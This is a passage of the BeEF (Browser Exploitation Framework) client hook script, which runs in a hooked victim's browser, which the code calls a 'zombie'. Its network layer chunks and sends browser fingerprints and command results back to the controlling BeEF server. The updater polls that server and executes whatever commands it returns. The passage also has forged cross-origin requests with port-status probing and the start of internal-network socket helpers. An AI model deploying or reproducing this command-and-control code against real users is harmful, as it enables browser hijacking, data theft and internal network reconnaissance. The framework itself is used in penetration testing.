  8483. * Packet object. A single chunk of data. X packets -> 1 stream
  8484. */
  8485. packet: function () {
  8486. this.id = null;
  8487. this.data = null;
  8488. },
  8489.  
  8490. /**
  8491. * Stream object. Contains X packets, which are command result chunks.
  8492. */
  8493. stream: function () {
  8494. this.id = null;
  8495. this.packets = [];
  8496. this.pc = 0;
  8497. this.get_base_url_length = function () {
  8498. return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
  8499. };
  8500. this.get_packet_data = function () {
  8501. var p = this.packets.shift();
  8502. return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
  8503. };
  8504. },
  8505.  
  8506. /**
  8507. * Response Object - used in the beef.net.request callback
  8508. * NOTE: as we are using async mode, the response object will be empty if returned.
  8509. * Using sync mode, request obj fields will be populated.
  8510. */
  8511. response: function () {
  8512. this.status_code = null; // 500, 404, 200, 302
  8513. this.status_text = null; // success, timeout, error, ...
  8514. this.response_body = null; // "<html>…." if not a cross-origin request
  8515. this.port_status = null; // tcp port is open, closed or not http
  8516. this.was_cross_domain = null; // true or false
  8517. this.was_timedout = null; // the user specified timeout was reached
  8518. this.duration = null; // how long it took for the request to complete
  8519. this.headers = null; // full response headers
  8520. },
  8521.  
  8522. /**
  8523. * Queues the specified command results.
  8524. * @param: {String} handler: the server-side handler that will be called
  8525. * @param: {Integer} cid: command id
  8526. * @param: {String} results: the data to send
  8527. * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  8528. * @param: {Function} callback: the function to call after execution
  8529. */
  8530. queue: function (handler, cid, results, status, callback) {
  8531. if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
  8532. var s = new beef.net.command();
  8533. s.cid = cid;
  8534. s.results = beef.net.clean(results);
  8535. s.status = status;
  8536. s.callback = callback;
  8537. s.handler = handler;
  8538. this.cmd_queue.push(s);
  8539. }
  8540. },
  8541.  
  8542. /**
  8543. * Queues the current command results and flushes the queue straight away.
  8544. * NOTE: Always send Browser Fingerprinting results
  8545. * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
  8546. * even if WebSockets are enabled.
  8547. * @param: {String} handler: the server-side handler that will be called
  8548. * @param: {Integer} cid: command id
  8549. * @param: {String} results: the data to send
  8550. * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
  8551. * @param: {Function} callback: the function to call after execution
  8552. * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
  8553. */
  8554. send: function (handler, cid, results, exec_status, callback) {
  8555. // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
  8556. var status = 0;
  8557. if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
  8558.  
  8559. if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
  8560. this.queue(handler, cid, results, status, callback);
  8561. this.flush();
  8562. } else {
  8563. try {
  8564. beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
  8565. '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
  8566. '", "status": "' + exec_status +
  8567. '", "callback": "' + callback +
  8568. '","bh":"' + beef.session.get_hook_session_id() + '" }');
  8569. } catch (e) {
  8570. this.queue(handler, cid, results, status, callback);
  8571. this.flush();
  8572. }
  8573. }
  8574.  
  8575. return status;
  8576. },
  8577.  
  8578. /**
  8579. * Flush all currently queued command results to the framework,
  8580. * chopping the data in chunks ('chunk' method) which will be re-assembled
  8581. * server-side by the network stack.
  8582. * NOTE: currently 'flush' is used only with the default
  8583. * XHR-polling mechanism. If WebSockets are used, the data is sent
  8584. * back to BeEF straight away.
  8585. */
  8586. flush: function (callback) {
  8587. if (this.cmd_queue.length > 0) {
  8588. var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
  8589. this.cmd_queue.length = 0;
  8590. this.sid_count++;
  8591. var stream = new this.stream();
  8592. stream.id = this.sid_count;
  8593. var pad = stream.get_base_url_length() + this.pad;
  8594. //cant continue if chop amount is too low
  8595. if ((this.chop - pad) > 0) {
  8596. var data = this.chunk(data, (this.chop - pad));
  8597. for (var i = 1; i <= data.length; i++) {
  8598. var packet = new this.packet();
  8599. packet.id = i;
  8600. packet.data = data[(i - 1)];
  8601. stream.packets.push(packet);
  8602. }
  8603. stream.pc = stream.packets.length;
  8604. this.push(stream, callback);
  8605. }
  8606. } else {
  8607. if ((typeof callback != 'undefined') && (callback != null)) {
  8608. callback();
  8609. }
  8610. }
  8611. },
  8612.  
  8613. /**
  8614. * Split the input data into chunk lengths determined by the amount parameter.
  8615. * @param: {String} str: the input data
  8616. * @param: {Integer} amount: chunk length
  8617. */
  8618. chunk: function (str, amount) {
  8619. if (typeof amount == 'undefined') n = 2;
  8620. return str.match(RegExp('.{1,' + amount + '}', 'g'));
  8621. },
  8622.  
  8623. /**
  8624. * Push the input stream back to the BeEF server-side components.
  8625. * It uses beef.net.request to send back the data.
  8626. * @param: {Object} stream: the stream object to be sent back.
  8627. */
  8628. push: function (stream, callback) {
  8629. //need to implement wait feature here eventually
  8630. if (typeof callback === 'undefined') {
  8631. callback = null;
  8632. }
  8633. for (var i = 0; i < stream.pc; i++) {
  8634. var cb = null;
  8635. if (i == (stream.pc - 1)) {
  8636. cb = callback;
  8637. }
  8638. this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
  8639. stream.get_packet_data(), 10, 'text', cb);
  8640. }
  8641. },
  8642.  
  8643. /**
  8644. * Performs http requests
  8645. * @param: {String} scheme: HTTP or HTTPS
  8646. * @param: {String} method: GET or POST
  8647. * @param: {String} domain: bindshell.net, 192.168.3.4, etc
  8648. * @param: {Int} port: 80, 5900, etc
  8649. * @param: {String} path: /path/to/resource
  8650. * @param: {String} anchor: this is the value that comes after the # in the URL
  8651. * @param: {String} data: This will be used as the query string for a GET or post data for a POST
  8652. * @param: {Int} timeout: timeout the request after N seconds
  8653. * @param: {String} dataType: specify the data return type expected (ie text/html/script)
  8654. * @param: {Function} callback: call the callback function at the completion of the method
  8655. *
  8656. * @return: {Object} response: this object contains the response details
  8657. */
  8658. request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
  8659. //check if same domain or cross domain
  8660. var cross_domain = true;
  8661. if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
  8662. if (document.location.port == "" || document.location.port == null) {
  8663. cross_domain = !(port == "80" || port == "443");
  8664. }
  8665. }
  8666.  
  8667. //build the url
  8668. var url = "";
  8669. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  8670. url = path;
  8671. } else {
  8672. url = scheme + "://" + domain;
  8673. url = (port != null) ? url + ":" + port : url;
  8674. url = (path != null) ? url + path : url;
  8675. url = (anchor != null) ? url + "#" + anchor : url;
  8676. }
  8677.  
  8678. //define response object
  8679. var response = new this.response;
  8680. response.was_cross_domain = cross_domain;
  8681. var start_time = new Date().getTime();
  8682.  
  8683. /*
  8684. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  8685. * This will turn POSTs into GETs for remote-domain requests.
  8686. */
  8687. if (method == "POST") {
  8688. $j.ajaxSetup({
  8689. dataType: dataType
  8690. });
  8691. } else {
  8692. $j.ajaxSetup({
  8693. dataType: 'script'
  8694. });
  8695. }
  8696.  
  8697. //build and execute the request
  8698. $j.ajax({type: method,
  8699. url: url,
  8700. data: data,
  8701. timeout: (timeout * 1000),
  8702.  
  8703. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  8704. beforeSend: function (xhr) {
  8705. if (method == "POST") {
  8706. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  8707. }
  8708. },
  8709. success: function (data, textStatus, xhr) {
  8710. var end_time = new Date().getTime();
  8711. response.status_code = xhr.status;
  8712. response.status_text = textStatus;
  8713. response.response_body = data;
  8714. response.port_status = "open";
  8715. response.was_timedout = false;
  8716. response.duration = (end_time - start_time);
  8717. },
  8718. error: function (jqXHR, textStatus, errorThrown) {
  8719. var end_time = new Date().getTime();
  8720. response.response_body = jqXHR.responseText;
  8721. response.status_code = jqXHR.status;
  8722. response.status_text = textStatus;
  8723. response.duration = (end_time - start_time);
  8724. response.port_status = "open";
  8725. },
  8726. complete: function (jqXHR, textStatus) {
  8727. response.status_code = jqXHR.status;
  8728. response.status_text = textStatus;
  8729. response.headers = jqXHR.getAllResponseHeaders();
  8730. // determine if TCP port is open/closed/not-http
  8731. if (textStatus == "timeout") {
  8732. response.was_timedout = true;
  8733. response.response_body = "ERROR: Timed out\n";
  8734. response.port_status = "closed";
  8735. } else if (textStatus == "parsererror") {
  8736. response.port_status = "not-http";
  8737. } else {
  8738. response.port_status = "open";
  8739. }
  8740. }
  8741. }).always(function () {
  8742. if (callback != null) {
  8743. callback(response);
  8744. }
  8745. });
  8746. return response;
  8747. },
  8748.  
  8749. /*
  8750. * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
  8751. * - requestid: needed on the callback
  8752. * - allowCrossDomain: set cross-domain requests as allowed or blocked
  8753. *
  8754. * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
  8755. * Example usage:
  8756. * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
  8757. * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
  8758. * alert(response.response_body)})
  8759. */
  8760. forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
  8761.  
  8762. if (domain == "undefined" || path == "undefined") {
  8763. beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
  8764. return;
  8765. }
  8766.  
  8767. // check if same domain or cross domain
  8768. var cross_domain = true;
  8769. if (document.domain == domain && document.location.protocol == scheme + ':') {
  8770. if (document.location.port == "" || document.location.port == null) {
  8771. cross_domain = !(port == "80" || port == "443");
  8772. } else {
  8773. if (document.location.port == port) cross_domain = false;
  8774. }
  8775. }
  8776.  
  8777. // build the url
  8778. var url = "";
  8779. if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
  8780. url = path;
  8781. } else {
  8782. url = scheme + "://" + domain;
  8783. url = (port != null) ? url + ":" + port : url;
  8784. url = (path != null) ? url + path : url;
  8785. url = (anchor != null) ? url + "#" + anchor : url;
  8786. }
  8787.  
  8788. // define response object
  8789. var response = new this.response;
  8790. response.was_cross_domain = cross_domain;
  8791. var start_time = new Date().getTime();
  8792.  
  8793. // if cross-domain requests are not allowed and the request is cross-domain
  8794. // don't proceed and return
  8795. if (allowCrossDomain == "false" && cross_domain) {
  8796. beef.debug("[beef.net.forge_request] Error: Cross Domain Request. The request was not sent.");
  8797. response.status_code = -1;
  8798. response.status_text = "crossdomain";
  8799. response.port_status = "crossdomain";
  8800. response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
  8801. response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
  8802. if (callback != null) callback(response, requestid);
  8803. return response;
  8804. }
  8805.  
  8806. // if the request was cross-domain from a HTTPS origin to HTTP
  8807. // don't proceed and return
  8808. if (document.location.protocol == 'https:' && scheme == 'http') {
  8809. beef.debug("[beef.net.forge_request] Error: Mixed Active Content. The request was not sent.");
  8810. response.status_code = -1;
  8811. response.status_text = "mixedcontent";
  8812. response.port_status = "mixedcontent";
  8813. response.response_body = "ERROR: Mixed Active Content. The request was not sent.\n";
  8814. response.headers = "ERROR: Mixed Active Content. The request was not sent.\n";
  8815. if (callback != null) callback(response, requestid);
  8816. return response;
  8817. }
  8818.  
  8819. /*
  8820. * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
  8821. * This will turn POSTs into GETs for remote-domain requests.
  8822. */
  8823. if (method == "POST") {
  8824. $j.ajaxSetup({
  8825. dataType: dataType
  8826. });
  8827. } else {
  8828. $j.ajaxSetup({
  8829. dataType: 'script'
  8830. });
  8831. }
  8832.  
  8833. // this is required for bugs in IE so data can be transferred back to the server
  8834. if (beef.browser.isIE()) {
  8835. dataType = 'script'
  8836. }
  8837.  
  8838. $j.ajax({type: method,
  8839. dataType: dataType,
  8840. url: url,
  8841. headers: headers,
  8842. timeout: (timeout * 1000),
  8843.  
  8844. //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
  8845. beforeSend: function (xhr) {
  8846. if (method == "POST") {
  8847. xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
  8848. }
  8849. },
  8850.  
  8851. data: data,
  8852.  
  8853. // http server responded successfully
  8854. success: function (data, textStatus, xhr) {
  8855. var end_time = new Date().getTime();
  8856. response.status_code = xhr.status;
  8857. response.status_text = textStatus;
  8858. response.response_body = data;
  8859. response.was_timedout = false;
  8860. response.duration = (end_time - start_time);
  8861. },
  8862.  
  8863. // server responded with a http error (403, 404, 500, etc)
  8864. // or server is not a http server
  8865. error: function (xhr, textStatus, errorThrown) {
  8866. var end_time = new Date().getTime();
  8867. response.response_body = xhr.responseText;
  8868. response.status_code = xhr.status;
  8869. response.status_text = textStatus;
  8870. response.duration = (end_time - start_time);
  8871. },
  8872.  
  8873. complete: function (xhr, textStatus) {
  8874. // cross-domain request
  8875. if (cross_domain) {
  8876.  
  8877. response.port_status = "crossdomain";
  8878.  
  8879. if (xhr.status != 0) {
  8880. response.status_code = xhr.status;
  8881. } else {
  8882. response.status_code = -1;
  8883. }
  8884.  
  8885. if (textStatus) {
  8886. response.status_text = textStatus;
  8887. } else {
  8888. response.status_text = "crossdomain";
  8889. }
  8890.  
  8891. if (xhr.getAllResponseHeaders()) {
  8892. response.headers = xhr.getAllResponseHeaders();
  8893. } else {
  8894. response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8895. }
  8896.  
  8897. if (!response.response_body) {
  8898. response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
  8899. }
  8900.  
  8901. } else {
  8902. // same-domain request
  8903. response.status_code = xhr.status;
  8904. response.status_text = textStatus;
  8905. response.headers = xhr.getAllResponseHeaders();
  8906.  
  8907. // determine if TCP port is open/closed/not-http
  8908. if (textStatus == "timeout") {
  8909. response.was_timedout = true;
  8910. response.response_body = "ERROR: Timed out\n";
  8911. response.port_status = "closed";
  8912. /*
  8913. * With IE we need to explicitly set the dataType to "script",
  8914. * so there will be always parse-errors if the content is != javascript
  8915. * */
  8916. } else if (textStatus == "parsererror") {
  8917. response.port_status = "not-http";
  8918. if (beef.browser.isIE()) {
  8919. response.status_text = "success";
  8920. response.port_status = "open";
  8921. }
  8922. } else {
  8923. response.port_status = "open";
  8924. }
  8925. }
  8926. callback(response, requestid);
  8927. }
  8928. });
  8929. return response;
  8930. },
  8931.  
  8932. //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
  8933. //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
  8934. clean: function (r) {
  8935. if (this.array_has_string_key(r)) {
  8936. var obj = {};
  8937. for (var key in r)
  8938. obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
  8939. return obj;
  8940. }
  8941. return r;
  8942. },
  8943.  
  8944. //Detects if an array has a string key
  8945. array_has_string_key: function (arr) {
  8946. if ($j.isArray(arr)) {
  8947. try {
  8948. for (var key in arr)
  8949. if (isNaN(parseInt(key))) return true;
  8950. } catch (e) {
  8951. }
  8952. }
  8953. return false;
  8954. },
  8955.  
  8956. /**
  8957. * Checks if the specified port is valid
  8958. */
  8959. is_valid_port: function (port) {
  8960. if (isNaN(port)) return false;
  8961. if (port > 65535 || port < 0) return false;
  8962. return true;
  8963. },
  8964.  
  8965. /**
  8966. * Checks if the specified IP address is valid
  8967. */
  8968. is_valid_ip: function (ip) {
  8969. if (ip == null) return false;
  8970. var ip_match = ip.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
  8971. if (ip_match == null) return false;
  8972. return true;
  8973. },
  8974.  
  8975. /**
  8976. * Checks if the specified IP address range is valid
  8977. */
  8978. is_valid_ip_range: function (ip_range) {
  8979. if (ip_range == null) return false;
  8980. var range_match = ip_range.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
  8981. if (range_match == null || range_match[1] == null) return false;
  8982. return true;
  8983. },
  8984.  
  8985. /**
  8986. * Sends back browser details to framework, calling beef.browser.getDetails()
  8987. */
  8988. browser_details: function () {
  8989. var details = beef.browser.getDetails();
  8990. var res = null;
  8991. details['HookSessionID'] = beef.session.get_hook_session_id();
  8992. this.send('/init', 0, details);
  8993. if(details != null)
  8994. res = true;
  8995.  
  8996. return res;
  8997. }
  8998.  
  8999. };
  9000.  
  9001.  
  9002. beef.regCmp('beef.net');
  9003.  
  9004.  
  9005. //
  9006. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9007. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9008. // See the file 'doc/COPYING' for copying permission
  9009. //
  9010.  
  9011. /*!
  9012. * @Literal object: beef.updater
  9013. *
  9014. * Object in charge of getting new commands from the BeEF framework and execute them.
  9015. * The XHR-polling channel is managed here. If WebSockets are enabled,
  9016. * websocket.ls is used instead.
  9017. */
  9018. beef.updater = {
  9019.  
  9020. // XHR-polling timeout.
  9021. xhr_poll_timeout: "1000",
  9022. beefhook: "BEEFHOOK",
  9023.  
  9024. // A lock.
  9025. lock: false,
  9026.  
  9027. // An object containing all values to be registered and sent by the updater.
  9028. objects: new Object(),
  9029.  
  9030. /*
  9031. * Registers an object to always send when requesting new commands to the framework.
  9032. * @param: {String} the name of the object.
  9033. * @param: {String} the value of that object.
  9034. *
  9035. * @example: beef.updater.regObject('java_enabled', 'true');
  9036. */
  9037. regObject: function(key, value) {
  9038. this.objects[key] = escape(value);
  9039. },
  9040.  
  9041. // Checks for new commands from the framework and runs them.
  9042. check: function() {
  9043. if(this.lock == false) {
  9044. if (beef.logger.running) {
  9045. beef.logger.queue();
  9046. }
  9047. beef.net.flush();
  9048. if(beef.commands.length > 0) {
  9049. this.execute_commands();
  9050. }else {
  9051. this.get_commands(); /*Polling*/
  9052. }
  9053. }
  9054. /* The following gives a stupid syntax error in IE, which can be ignored*/
  9055. setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
  9056. },
  9057.  
  9058. /**
  9059. * Gets new commands from the framework.
  9060. */
  9061. get_commands: function() {
  9062. try {
  9063. this.lock = true;
  9064. beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
  9065. if (response.body != null && response.body.length > 0)
  9066. beef.updater.execute_commands();
  9067. });
  9068. } catch(e) {
  9069. this.lock = false;
  9070. return;
  9071. }
  9072. this.lock = false;
  9073. },
  9074.  
  9075. /**
  9076. * Executes the received commands, if any.
  9077. */
  9078. execute_commands: function() {
  9079. if(beef.commands.length == 0) return;
  9080. this.lock = true;
  9081. while(beef.commands.length > 0) {
  9082. command = beef.commands.pop();
  9083. try {
  9084. command();
  9085. } catch(e) {
  9086. beef.debug('execute_commands - command failed to execute: ' + e.message);
  9087. // prints the command source to be executed, to better trace errors
  9088. // beef.client_debug must be enabled in the main config
  9089. beef.debug(command.toString());
  9090. }
  9091. }
  9092. this.lock = false;
  9093. }
  9094. };
  9095.  
  9096. beef.regCmp('beef.updater');
  9097.  
  9098.  
  9099. //
  9100. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9101. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9102. // See the file 'doc/COPYING' for copying permission
  9103. //
  9104.  
  9105. // Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
  9106.  
  9107. beef.encode = {};
  9108.  
  9109. beef.encode.base64 = {
  9110.  
  9111. keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
  9112.  
  9113. encode : function (input) {
  9114. if (window.btoa) {
  9115. return btoa(unescape(encodeURIComponent(input)));
  9116. }
  9117.  
  9118. var output = "";
  9119. var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
  9120. var i = 0;
  9121.  
  9122. input = beef.encode.base64.utf8_encode(input);
  9123.  
  9124. while (i < input.length) {
  9125.  
  9126. chr1 = input.charCodeAt(i++);
  9127. chr2 = input.charCodeAt(i++);
  9128. chr3 = input.charCodeAt(i++);
  9129.  
  9130. enc1 = chr1 >> 2;
  9131. enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
  9132. enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
  9133. enc4 = chr3 & 63;
  9134.  
  9135. if (isNaN(chr2)) {
  9136. enc3 = enc4 = 64;
  9137. } else if (isNaN(chr3)) {
  9138. enc4 = 64;
  9139. }
  9140.  
  9141. output = output +
  9142. this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
  9143. this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
  9144.  
  9145. }
  9146.  
  9147. return output;
  9148. },
  9149.  
  9150.  
  9151. decode : function (input) {
  9152. if (window.atob) {
  9153. return escape(atob(input));
  9154. }
  9155.  
  9156. var output = "";
  9157. var chr1, chr2, chr3;
  9158. var enc1, enc2, enc3, enc4;
  9159. var i = 0;
  9160.  
  9161. input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  9162.  
  9163. while (i < input.length) {
  9164.  
  9165. enc1 = this.keyStr.indexOf(input.charAt(i++));
  9166. enc2 = this.keyStr.indexOf(input.charAt(i++));
  9167. enc3 = this.keyStr.indexOf(input.charAt(i++));
  9168. enc4 = this.keyStr.indexOf(input.charAt(i++));
  9169.  
  9170. chr1 = (enc1 << 2) | (enc2 >> 4);
  9171. chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
  9172. chr3 = ((enc3 & 3) << 6) | enc4;
  9173.  
  9174. output = output + String.fromCharCode(chr1);
  9175.  
  9176. if (enc3 != 64) {
  9177. output = output + String.fromCharCode(chr2);
  9178. }
  9179. if (enc4 != 64) {
  9180. output = output + String.fromCharCode(chr3);
  9181. }
  9182.  
  9183. }
  9184.  
  9185. output = beef.encode.base64.utf8_decode(output);
  9186.  
  9187. return output;
  9188.  
  9189. },
  9190.  
  9191.  
  9192. utf8_encode : function (string) {
  9193. string = string.replace(/\r\n/g,"\n");
  9194. var utftext = "";
  9195.  
  9196. for (var n = 0; n < string.length; n++) {
  9197.  
  9198. var c = string.charCodeAt(n);
  9199.  
  9200. if (c < 128) {
  9201. utftext += String.fromCharCode(c);
  9202. }
  9203. else if((c > 127) && (c < 2048)) {
  9204. utftext += String.fromCharCode((c >> 6) | 192);
  9205. utftext += String.fromCharCode((c & 63) | 128);
  9206. }
  9207. else {
  9208. utftext += String.fromCharCode((c >> 12) | 224);
  9209. utftext += String.fromCharCode(((c >> 6) & 63) | 128);
  9210. utftext += String.fromCharCode((c & 63) | 128);
  9211. }
  9212.  
  9213. }
  9214.  
  9215. return utftext;
  9216. },
  9217.  
  9218. utf8_decode : function (utftext) {
  9219. var string = "";
  9220. var i = 0;
  9221. var c = c1 = c2 = 0;
  9222.  
  9223. while ( i < utftext.length ) {
  9224.  
  9225. c = utftext.charCodeAt(i);
  9226.  
  9227. if (c < 128) {
  9228. string += String.fromCharCode(c);
  9229. i++;
  9230. }
  9231. else if((c > 191) && (c < 224)) {
  9232. c2 = utftext.charCodeAt(i+1);
  9233. string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
  9234. i += 2;
  9235. }
  9236. else {
  9237. c2 = utftext.charCodeAt(i+1);
  9238. c3 = utftext.charCodeAt(i+2);
  9239. string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
  9240. i += 3;
  9241. }
  9242.  
  9243. }
  9244.  
  9245. return string;
  9246. }
  9247.  
  9248. };
  9249.  
  9250. beef.regCmp('beef.encode.base64');
  9251.  
  9252.  
  9253. //
  9254. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9255. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9256. // See the file 'doc/COPYING' for copying permission
  9257. //
  9258.  
  9259. // Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
  9260.  
  9261. beef.encode.json = {
  9262.  
  9263. stringify: function(o) {
  9264. if (typeof(JSON) == 'object' && JSON.stringify) {
  9265. // Error on stringifying cylcic structures caused polling to die
  9266. try {
  9267. s = JSON.stringify(o);
  9268. } catch(error) {
  9269. // TODO log error / handle cyclic structures?
  9270. }
  9271. return s;
  9272. }
  9273. var type = typeof(o);
  9274.  
  9275. if (o === null)
  9276. return "null";
  9277.  
  9278. if (type == "undefined")
  9279. return '\"\"';
  9280.  
  9281. if (type == "number" || type == "boolean")
  9282. return o + "";
  9283.  
  9284. if (type == "string")
  9285. return $j.quoteString(o);
  9286.  
  9287. if (type == 'object')
  9288. {
  9289. if (typeof o.toJSON == "function")
  9290. return $j.toJSON( o.toJSON() );
  9291.  
  9292. if (o.constructor === Date)
  9293. {
  9294. var month = o.getUTCMonth() + 1;
  9295. if (month < 10) month = '0' + month;
  9296.  
  9297. var day = o.getUTCDate();
  9298. if (day < 10) day = '0' + day;
  9299.  
  9300. var year = o.getUTCFullYear();
  9301.  
  9302. var hours = o.getUTCHours();
  9303. if (hours < 10) hours = '0' + hours;
  9304.  
  9305. var minutes = o.getUTCMinutes();
  9306. if (minutes < 10) minutes = '0' + minutes;
  9307.  
  9308. var seconds = o.getUTCSeconds();
  9309. if (seconds < 10) seconds = '0' + seconds;
  9310.  
  9311. var milli = o.getUTCMilliseconds();
  9312. if (milli < 100) milli = '0' + milli;
  9313. if (milli < 10) milli = '0' + milli;
  9314.  
  9315. return '"' + year + '-' + month + '-' + day + 'T' +
  9316. hours + ':' + minutes + ':' + seconds +
  9317. '.' + milli + 'Z"';
  9318. }
  9319.  
  9320. if (o.constructor === Array)
  9321. {
  9322. var ret = [];
  9323. for (var i = 0; i < o.length; i++)
  9324. ret.push( $j.toJSON(o[i]) || "null" );
  9325.  
  9326. return "[" + ret.join(",") + "]";
  9327. }
  9328.  
  9329. var pairs = [];
  9330. for (var k in o) {
  9331. var name;
  9332. var type = typeof k;
  9333.  
  9334. if (type == "number")
  9335. name = '"' + k + '"';
  9336. else if (type == "string")
  9337. name = $j.quoteString(k);
  9338. else
  9339. continue; //skip non-string or number keys
  9340.  
  9341. if (typeof o[k] == "function")
  9342. continue; //skip pairs where the value is a function.
  9343.  
  9344. var val = $j.toJSON(o[k]);
  9345.  
  9346. pairs.push(name + ":" + val);
  9347. }
  9348.  
  9349. return "{" + pairs.join(", ") + "}";
  9350. }
  9351. },
  9352.  
  9353. quoteString: function(string) {
  9354. if (string.match(this._escapeable))
  9355. {
  9356. return '"' + string.replace(this._escapeable, function (a)
  9357. {
  9358. var c = this._meta[a];
  9359. if (typeof c === 'string') return c;
  9360. c = a.charCodeAt();
  9361. return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
  9362. }) + '"';
  9363. }
  9364. return '"' + string + '"';
  9365. },
  9366.  
  9367. _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
  9368.  
  9369. _meta : {
  9370. '\b': '\\b',
  9371. '\t': '\\t',
  9372. '\n': '\\n',
  9373. '\f': '\\f',
  9374. '\r': '\\r',
  9375. '"' : '\\"',
  9376. '\\': '\\\\'
  9377. }
  9378. };
  9379.  
  9380. $j.toJSON = function(o) {return beef.encode.json.stringify(o);};
  9381. $j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
  9382.  
  9383. beef.regCmp('beef.encode.json');
  9384.  
  9385.  
  9386. //
  9387. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  9388. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  9389. // See the file 'doc/COPYING' for copying permission
  9390. //
  9391.  
  9392. /*!
  9393. * @literal object: beef.net.local
  9394. *
  9395. * Provides networking functions for the local/internal network of the zombie.
  9396. */
  9397. beef.net.local = {
  9398.  
  9399. sock: false,
  9400. checkJava: false,
  9401. hasJava: false,
  9402.  
  9403. /**
  9404. * Initializes the java socket. We have to use this method because
  9405. * some browsers do not have java installed or it is not accessible.
  9406. * in which case creating a socket directly generates an error. So this code
  9407. * is invalid:
  9408. * sock: new java.net.Socket();
  9409. */
  9410.  
  9411. initializeSocket: function() {
  9412. if(this.checkJava){
  9413. if(!beef.browser.hasJava()) {
  9414. this.checkJava=True;
  9415. this.hasJava=False;
  9416. return -1;
  9417. }else{
  9418. this.checkJava=True;
  9419. this.hasJava=True;
  9420. return 1;
  9421. }
  9422. }
  9423. else{
